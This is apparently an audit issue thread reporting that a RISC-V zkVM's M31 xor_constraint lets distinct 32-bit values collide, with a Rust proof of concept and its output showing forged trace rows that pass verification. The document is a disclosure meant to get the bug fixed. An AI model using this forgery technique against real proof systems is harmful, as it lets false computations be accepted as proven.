Issue in `M31` Field Arithmetic in `xor_constraint` Constraint Verification

[BubeAudit]

Summary

The xor_constraint constraint verification function in rv32im.rs uses M31 (Mersenne prime field mod 2³¹ - 1) arithmetic to validate 32-bit RISC-V XOR operations. The problem stems from a fundamental mathematical incompatibility: attempting to represent all 32-bit integers (0 to 2³² - 1) within a field that can only uniquely represent values 0 to 2³¹ - 2. This creates exploitable collisions that allow attackers to forge valid-looking proofs for incorrect XOR computations. Also, this issue persists in and_constraint and or_constraint, but here is considered only the xor_constraint function.

Vulnerability Details

The code attempts to reconstruct 32-bit integers from their bit decomposition within M31:

#[inline]
pub fn xor_constraint(row: &CpuTraceRow) -> M31 {
    if row.is_xor == M31::ZERO {
        return M31::ZERO;
    }

    let two_16 = M31::new(1 << 16);
    let rs1_full = row.rs1_val_lo + row.rs1_val_hi * two_16;
    let rs2_full = row.rs2_val_lo + row.rs2_val_hi * two_16;
    let rd_full = row.rd_val_lo + row.rd_val_hi * two_16;

    let mut rs1_reconstructed = M31::ZERO;
    let mut rs2_reconstructed = M31::ZERO;
    let mut rd_reconstructed = M31::ZERO;
    let mut xor_check = M31::ZERO;

@>  for i in 0..31 {
@>      let pow2 = M31::new(1 << i);
@>      rs1_reconstructed += row.rs1_bits[i] * pow2;
        rs2_reconstructed += row.rs2_bits[i] * pow2;
        rd_reconstructed += row.xor_bits[i] * pow2;
        // XOR logic: xor_bit = a + b - 2ab
        let expected_xor = row.rs1_bits[i] + row.rs2_bits[i] - M31::new(2) * row.rs1_bits[i] * row.rs2_bits[i];
        xor_check += row.xor_bits[i] - expected_xor;
    }
    // Bit 31
@>  let pow2_30 = M31::new(1 << 30);
@>  rs1_reconstructed += row.rs1_bits[31] * pow2_30 * M31::new(2);
    rs2_reconstructed += row.rs2_bits[31] * pow2_30 * M31::new(2);
    rd_reconstructed += row.xor_bits[31] * pow2_30 * M31::new(2);
    let expected_xor = row.rs1_bits[31] + row.rs2_bits[31] - M31::new(2) * row.rs1_bits[31] * row.rs2_bits[31];
    xor_check += row.xor_bits[31] - expected_xor;

    row.is_xor * (
        (rs1_full - rs1_reconstructed) +
        (rs2_full - rs2_reconstructed) +
        xor_check +
        (rd_full - rd_reconstructed)
    )
}

For bit 31, the code computes:
2³⁰ × 2 = 2³¹ in field arithmetic, but 2³¹ mod (2³¹ - 1) = 1. This means bit 31 contributes a weight of 1, not 2³¹ as intended in integer arithmetic.

Mathematical Analysis

Integer reconstruction (intended):
value = Σ(bit[i] × 2^i) for i=0 to 31 = bit[0]×1 + bit[1]×2 + ... + bit[31]×2,147,483,648
Actual M31 reconstruction:
value_m31 = Σ(bit[i] × 2^i) for i=0 to 30, plus bit[31]×1 = bit[0]×1 + bit[1]×2 + ... + bit[30]×1,073,741,824 + bit[31]×1

Multiple distinct 32-bit values collapse to the same M31 representation:

32-bit Value	Binary Representation	M31 Value
0x00000001	00000000...00000001	1
0x80000000	10000000...00000000	1
0x80000001	10000000...00000001	2
0x00000002	00000000...00000010	2

General pattern:
value (32-bit) ≡ (value mod (2³¹ - 1)) (in M31). Values that differ by 2³¹ - 1 collide: 0 and 2,147,483,647, 1 and 2,147,483,648, etc.

The user can claim rs1 = 0x80000000, but providing bits for rs1 = [0,0,...,0,1] (appears to be bit 31 set). M31 reconstruction passes: 0 + 0 + ... + 1 = 1
Also, it can be claimed rs1 = 0x00000001, but providing bits for rs1 = [1,0,...,0,0] (appears to be bit 0 set). M31 reconstruction passes: 1 + 0 + ... + 0 = 1. Both pass the constraint rs1_full - rs1_reconstructed = 0 in M31, despite representing different integers.

Recommendation

Only use bits 0-30, treating RISC-V operations as signed 31-bit.

[this-vishalsingh]

@BubeAudit Thanks for reporting!

Can you pls send e2e coded poc with outputs ? It will better. Created pr.

[BubeAudit]

Here is the PoC:

// Proof of Concept: M31 XOR Constraint Vulnerability
// Demonstrates how to forge valid proofs for incorrect XOR operations

use std::fmt;

// M31 field element: integers mod (2^31 - 1)
const M31_MODULUS: u64 = (1u64 << 31) - 1; // 2,147,483,647

#[derive(Clone, Copy, PartialEq, Eq)]
struct M31(u32);

impl M31 {
    fn new(val: u32) -> Self {
        M31((val as u64 % M31_MODULUS) as u32)
    }

    fn from_u64(val: u64) -> Self {
        M31((val % M31_MODULUS) as u32)
    }

    fn zero() -> Self {
        M31(0)
    }

    fn add(self, other: M31) -> M31 {
        M31::from_u64(self.0 as u64 + other.0 as u64)
    }

    fn sub(self, other: M31) -> M31 {
        if self.0 >= other.0 {
            M31(self.0 - other.0)
        } else {
            M31((M31_MODULUS as u32) - (other.0 - self.0))
        }
    }

    fn mul(self, other: M31) -> M31 {
        M31::from_u64(self.0 as u64 * other.0 as u64)
    }

    fn value(&self) -> u32 {
        self.0
    }
}

impl fmt::Display for M31 {
    fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
        write!(f, "{}", self.0)
    }
}

impl fmt::Debug for M31 {
    fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
        write!(f, "M31({})", self.0)
    }
}

// CPU trace row structure (simplified)
#[derive(Clone)]
struct CpuTraceRow {
    is_xor: M31,
    rs1_val_lo: M31,
    rs1_val_hi: M31,
    rs2_val_lo: M31,
    rs2_val_hi: M31,
    rd_val_lo: M31,
    rd_val_hi: M31,
    rs1_bits: [M31; 32],
    rs2_bits: [M31; 32],
    xor_bits: [M31; 32],
}

impl CpuTraceRow {
    fn new() -> Self {
        CpuTraceRow {
            is_xor: M31::zero(),
            rs1_val_lo: M31::zero(),
            rs1_val_hi: M31::zero(),
            rs2_val_lo: M31::zero(),
            rs2_val_hi: M31::zero(),
            rd_val_lo: M31::zero(),
            rd_val_hi: M31::zero(),
            rs1_bits: [M31::zero(); 32],
            rs2_bits: [M31::zero(); 32],
            xor_bits: [M31::zero(); 32],
        }
    }
}

// The `xor_constraint` function
fn xor_constraint(row: &CpuTraceRow) -> M31 {
    if row.is_xor.value() == 0 {
        return M31::zero();
    }

    let two_16 = M31::new(1 << 16);
    let rs1_full = row.rs1_val_lo.add(row.rs1_val_hi.mul(two_16));
    let rs2_full = row.rs2_val_lo.add(row.rs2_val_hi.mul(two_16));
    let rd_full = row.rd_val_lo.add(row.rd_val_hi.mul(two_16));

    let mut rs1_reconstructed = M31::zero();
    let mut rs2_reconstructed = M31::zero();
    let mut rd_reconstructed = M31::zero();
    let mut xor_check = M31::zero();

    // Process bits 0-30
    for i in 0..31 {
        let pow2 = M31::new(1 << i);
        rs1_reconstructed = rs1_reconstructed.add(row.rs1_bits[i].mul(pow2));
        rs2_reconstructed = rs2_reconstructed.add(row.rs2_bits[i].mul(pow2));
        rd_reconstructed = rd_reconstructed.add(row.xor_bits[i].mul(pow2));

        // XOR logic: xor_bit = a + b - 2ab
        let expected_xor = row.rs1_bits[i]
            .add(row.rs2_bits[i])
            .sub(M31::new(2).mul(row.rs1_bits[i]).mul(row.rs2_bits[i]));
        xor_check = xor_check.add(row.xor_bits[i].sub(expected_xor));
    }

    // Bit 31
    let pow2_30 = M31::new(1 << 30);
    rs1_reconstructed = rs1_reconstructed.add(
        row.rs1_bits[31].mul(pow2_30).mul(M31::new(2))
    );
    rs2_reconstructed = rs2_reconstructed.add(
        row.rs2_bits[31].mul(pow2_30).mul(M31::new(2))
    );
    rd_reconstructed = rd_reconstructed.add(
        row.xor_bits[31].mul(pow2_30).mul(M31::new(2))
    );

    let expected_xor = row.rs1_bits[31]
        .add(row.rs2_bits[31])
        .sub(M31::new(2).mul(row.rs1_bits[31]).mul(row.rs2_bits[31]));
    xor_check = xor_check.add(row.xor_bits[31].sub(expected_xor));

    row.is_xor.mul(
        rs1_full.sub(rs1_reconstructed)
            .add(rs2_full.sub(rs2_reconstructed))
            .add(xor_check)
            .add(rd_full.sub(rd_reconstructed))
    )
}

// Helper: Split 32-bit value into low/high 16-bit parts
fn split_u32(val: u32) -> (u16, u16) {
    let lo = (val & 0xFFFF) as u16;
    let hi = ((val >> 16) & 0xFFFF) as u16;
    (lo, hi)
}

// Helper: Convert 32-bit value to bit array
fn u32_to_bits(val: u32) -> [u8; 32] {
    let mut bits = [0u8; 32];
    for i in 0..32 {
        bits[i] = ((val >> i) & 1) as u8;
    }
    bits
}

// Helper: Create a trace row from 32-bit values
fn create_honest_row(rs1: u32, rs2: u32) -> CpuTraceRow {
    let mut row = CpuTraceRow::new();
    row.is_xor = M31::new(1);

    let (rs1_lo, rs1_hi) = split_u32(rs1);
    let (rs2_lo, rs2_hi) = split_u32(rs2);
    let rd = rs1 ^ rs2;
    let (rd_lo, rd_hi) = split_u32(rd);

    row.rs1_val_lo = M31::new(rs1_lo as u32);
    row.rs1_val_hi = M31::new(rs1_hi as u32);
    row.rs2_val_lo = M31::new(rs2_lo as u32);
    row.rs2_val_hi = M31::new(rs2_hi as u32);
    row.rd_val_lo = M31::new(rd_lo as u32);
    row.rd_val_hi = M31::new(rd_hi as u32);

    let rs1_bits = u32_to_bits(rs1);
    let rs2_bits = u32_to_bits(rs2);
    let rd_bits = u32_to_bits(rd);

    for i in 0..32 {
        row.rs1_bits[i] = M31::new(rs1_bits[i] as u32);
        row.rs2_bits[i] = M31::new(rs2_bits[i] as u32);
        row.xor_bits[i] = M31::new(rd_bits[i] as u32);
    }

    row
}

// Create a forged row that passes constraints but represents wrong computation
fn create_forged_row(claimed_rs1: u32, claimed_rs2: u32, fake_rs1: u32, fake_rs2: u32) -> CpuTraceRow {
    let mut row = CpuTraceRow::new();
    row.is_xor = M31::new(1);

    // Use claimed values for lo/hi (these will be in M31)
    let (rs1_lo, rs1_hi) = split_u32(claimed_rs1);
    let (rs2_lo, rs2_hi) = split_u32(claimed_rs2);
    let claimed_rd = claimed_rs1 ^ claimed_rs2;
    let (rd_lo, rd_hi) = split_u32(claimed_rd);

    row.rs1_val_lo = M31::new(rs1_lo as u32);
    row.rs1_val_hi = M31::new(rs1_hi as u32);
    row.rs2_val_lo = M31::new(rs2_lo as u32);
    row.rs2_val_hi = M31::new(rs2_hi as u32);
    row.rd_val_lo = M31::new(rd_lo as u32);
    row.rd_val_hi = M31::new(rd_hi as u32);

    // Use fake values for bit decomposition
    let fake_rd = fake_rs1 ^ fake_rs2;
    let rs1_bits = u32_to_bits(fake_rs1);
    let rs2_bits = u32_to_bits(fake_rs2);
    let rd_bits = u32_to_bits(fake_rd);

    for i in 0..32 {
        row.rs1_bits[i] = M31::new(rs1_bits[i] as u32);
        row.rs2_bits[i] = M31::new(rs2_bits[i] as u32);
        row.xor_bits[i] = M31::new(rd_bits[i] as u32);
    }

    row
}

// Print detailed analysis
fn print_analysis(name: &str, row: &CpuTraceRow, claimed_rs1: u32, claimed_rs2: u32) {
    println!("\n{}", "=".repeat(70));
    println!("{}", name);
    println!("{}", "=".repeat(70));

    let constraint_result = xor_constraint(row);

    println!("\nClaimed values:");
    println!("  rs1 = 0x{:08X} ({})", claimed_rs1, claimed_rs1);
    println!("  rs2 = 0x{:08X} ({})", claimed_rs2, claimed_rs2);
    println!("  XOR = 0x{:08X} ({})", claimed_rs1 ^ claimed_rs2, claimed_rs1 ^ claimed_rs2);

    println!("\nM31 field values:");
    let two_16 = M31::new(1 << 16);
    let rs1_full = row.rs1_val_lo.add(row.rs1_val_hi.mul(two_16));
    let rs2_full = row.rs2_val_lo.add(row.rs2_val_hi.mul(two_16));
    let rd_full = row.rd_val_lo.add(row.rd_val_hi.mul(two_16));
    println!("  rs1_full in M31 = {}", rs1_full);
    println!("  rs2_full in M31 = {}", rs2_full);
    println!("  rd_full in M31  = {}", rd_full);

    // Reconstruct from bits
    let mut rs1_reconstructed = M31::zero();
    let mut rs2_reconstructed = M31::zero();
    let mut rd_reconstructed = M31::zero();

    for i in 0..31 {
        let pow2 = M31::new(1 << i);
        rs1_reconstructed = rs1_reconstructed.add(row.rs1_bits[i].mul(pow2));
        rs2_reconstructed = rs2_reconstructed.add(row.rs2_bits[i].mul(pow2));
        rd_reconstructed = rd_reconstructed.add(row.xor_bits[i].mul(pow2));
    }

    let pow2_30 = M31::new(1 << 30);
    rs1_reconstructed = rs1_reconstructed.add(row.rs1_bits[31].mul(pow2_30).mul(M31::new(2)));
    rs2_reconstructed = rs2_reconstructed.add(row.rs2_bits[31].mul(pow2_30).mul(M31::new(2)));
    rd_reconstructed = rd_reconstructed.add(row.xor_bits[31].mul(pow2_30).mul(M31::new(2)));

    println!("\nReconstructed from bits:");
    println!("  rs1 = {}", rs1_reconstructed);
    println!("  rs2 = {}", rs2_reconstructed);
    println!("  rd  = {}", rd_reconstructed);

    // Show actual bit patterns
    println!("\nBit pattern provided:");
    let mut rs1_from_bits = 0u32;
    let mut rs2_from_bits = 0u32;
    let mut rd_from_bits = 0u32;
    for i in 0..32 {
        if row.rs1_bits[i].value() == 1 {
            rs1_from_bits |= 1 << i;
        }
        if row.rs2_bits[i].value() == 1 {
            rs2_from_bits |= 1 << i;
        }
        if row.xor_bits[i].value() == 1 {
            rd_from_bits |= 1 << i;
        }
    }
    println!("  rs1 bits represent: 0x{:08X}", rs1_from_bits);
    println!("  rs2 bits represent: 0x{:08X}", rs2_from_bits);
    println!("  rd  bits represent: 0x{:08X}", rd_from_bits);
    println!("  Actual XOR of bit patterns: 0x{:08X}", rs1_from_bits ^ rs2_from_bits);

    println!("\nConstraint result: {}", constraint_result);
    if constraint_result.value() == 0 {
        println!("CONSTRAINT PASSES!");
    } else {
        println!("CONSTRAINT FAILS");
    }
}

fn main() {
    //Value collision
    println!("\n\n### Value Collision ###");
    println!("Showing that 0x80000000 and 0x00000001 both map to M31 value 1");

    let honest = create_honest_row(0x80000000, 0x00000000);
    print_analysis("Honest trace (rs1=0x80000000, rs2=0x00000000)",
                   &honest, 0x80000000, 0x00000000);

    // Forge: claim rs1=0x80000000 but provide bits for 0x00000001
    let forged = create_forged_row(0x80000000, 0x00000000, 0x00000001, 0x00000000);
    print_analysis("FORGED trace (claims 0x80000000 but uses bits of 0x00000001)",
                   &forged, 0x80000000, 0x00000000);

    // Another collision example
    println!("\n\n### Another Collision Attack ###");
    println!("Showing 0x80000002 and 0x00000003 collision");

    let honest2 = create_honest_row(0x80000002, 0x00000000);
    print_analysis("Honest trace (rs1=0x80000002, rs2=0x00000000)",
                   &honest2, 0x80000002, 0x00000000);

    // Forge: claim rs1=0x80000002 but provide bits for 0x00000003
    // 0x80000002 in M31: (2^31 + 2) mod (2^31-1) = 1 + 2 = 3
    // 0x00000003 in M31: 3
    // These collide!
    let forged2 = create_forged_row(0x80000002, 0x00000000, 0x00000003, 0x00000000);
    print_analysis("FORGED trace (claims 0x80000002 but uses bits of 0x00000003)",
                   &forged2, 0x80000002, 0x00000000);
}

And the result:

### Value Collision ###
Showing that 0x80000000 and 0x00000001 both map to M31 value 1

======================================================================
Honest trace (rs1=0x80000000, rs2=0x00000000)
======================================================================

Claimed values:
  rs1 = 0x80000000 (2147483648)
  rs2 = 0x00000000 (0)
  XOR = 0x80000000 (2147483648)

M31 field values:
  rs1_full in M31 = 1
  rs2_full in M31 = 0
  rd_full in M31  = 1

Reconstructed from bits:
  rs1 = 1
  rs2 = 0
  rd  = 1

Bit pattern provided:
  rs1 bits represent: 0x80000000
  rs2 bits represent: 0x00000000
  rd  bits represent: 0x80000000
  Actual XOR of bit patterns: 0x80000000

Constraint result: 0
CONSTRAINT PASSES!

======================================================================
FORGED trace (claims 0x80000000 but uses bits of 0x00000001)
======================================================================

Claimed values:
  rs1 = 0x80000000 (2147483648)
  rs2 = 0x00000000 (0)
  XOR = 0x80000000 (2147483648)

M31 field values:
  rs1_full in M31 = 1
  rs2_full in M31 = 0
  rd_full in M31  = 1

Reconstructed from bits:
  rs1 = 1
  rs2 = 0
  rd  = 1

Bit pattern provided:
  rs1 bits represent: 0x00000001
  rs2 bits represent: 0x00000000
  rd  bits represent: 0x00000001
  Actual XOR of bit patterns: 0x00000001

Constraint result: 0
CONSTRAINT PASSES!


### Another Collision Attack ###
Showing 0x80000002 and 0x00000003 collision

======================================================================
Honest trace (rs1=0x80000002, rs2=0x00000000)
======================================================================

Claimed values:
  rs1 = 0x80000002 (2147483650)
  rs2 = 0x00000000 (0)
  XOR = 0x80000002 (2147483650)

M31 field values:
  rs1_full in M31 = 3
  rs2_full in M31 = 0
  rd_full in M31  = 3

Reconstructed from bits:
  rs1 = 3
  rs2 = 0
  rd  = 3

Bit pattern provided:
  rs1 bits represent: 0x80000002
  rs2 bits represent: 0x00000000
  rd  bits represent: 0x80000002
  Actual XOR of bit patterns: 0x80000002

Constraint result: 0
CONSTRAINT PASSES!

======================================================================
FORGED trace (claims 0x80000002 but uses bits of 0x00000003)
======================================================================

Claimed values:
  rs1 = 0x80000002 (2147483650)
  rs2 = 0x00000000 (0)
  XOR = 0x80000002 (2147483650)

M31 field values:
  rs1_full in M31 = 3
  rs2_full in M31 = 0
  rd_full in M31  = 3

Reconstructed from bits:
  rs1 = 3
  rs2 = 0
  rd  = 3

Bit pattern provided:
  rs1 bits represent: 0x00000003
  rs2 bits represent: 0x00000000
  rd  bits represent: 0x00000003
  Actual XOR of bit patterns: 0x00000003

Constraint result: 0
CONSTRAINT PASSES!